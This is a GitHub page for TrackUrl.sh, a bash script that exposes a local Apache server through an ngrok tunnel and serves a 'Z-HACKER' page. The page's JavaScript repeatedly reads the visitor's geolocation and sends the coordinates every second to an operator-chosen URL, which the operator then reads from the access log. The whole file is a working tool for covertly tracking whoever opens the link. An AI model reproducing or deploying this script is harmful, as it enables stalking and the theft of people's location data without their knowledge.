forked from cryptomarauder/TrackUrl
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathTrackUrl.sh
executable file
·76 lines (64 loc) · 2.51 KB
/
TrackUrl.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/bin/bash
#64_bit
#xterm -e ./ngrok http 80 & clear
#32_Bit
xterm -e ./ngrok http 80 & clear
echo " ______________________________________________________
7 77 _ 77 _ 77 77 7 77 7 77 _ 77 7
!__ __!| _|| _ || ___!| __!| | || _|| |
7 7 | _ \ | 7 || 7___| || | || _ \ | !___
| | | 7 || | || 7| 7 || ! || 7 || 7
!__! !__!__!!__!__!!_____!!__!__!!_____!!__!__!!_____!
"
sleep 5
read -p ' URL: ' varurl
echo "<!DOCTYPE html>
<html>
<head>
<title>Z-HACKER</title>
<style type=\"text/css\">
body {
background-image: url(\"skull.jpg\");
background-size: 1000px 1600px;
background-repeat: no-repeat;
}
</style>
</head>
<body>
<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js\" type='text/javascript' ></script>
<script type='text/javascript'>
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( \"GET\", theUrl, false ); // false for synchronous request
xmlHttp.send( null );
return xmlHttp.responseText;
}
function autoUpdate() {
navigator.geolocation.getCurrentPosition(function(position) {
coords = position.coords.latitude + \",\" + position.coords.longitude;
url = \""$varurl"/logme/\" + coords;
httpGet(url);
console.log('should be working');
setTimeout(autoUpdate, 1000);
})
};
\$(document).ready(function(){
autoUpdate();
});
</script>
</body>
</html>" > index.html
mv index.html /var/www/html/index.html
cp skull.jpg /var/www/html/skull.jpg
service apache2 start
echo " ______________________________________________________
7 77 _ 77 _ 77 77 7 77 7 77 _ 77 7
!__ __!| _|| _ || ___!| __!| | || _|| |
7 7 | _ \ | 7 || 7___| || | || _ \ | !___
| | | 7 || | || 7| 7 || ! || 7 || 7
!__! !__!__!!__!__!!_____!!__!__!!_____!!__!__!!_____!
" > /var/log/apache2/access.log
xterm -e tail -f /var/log/apache2/access.log &
clear
exit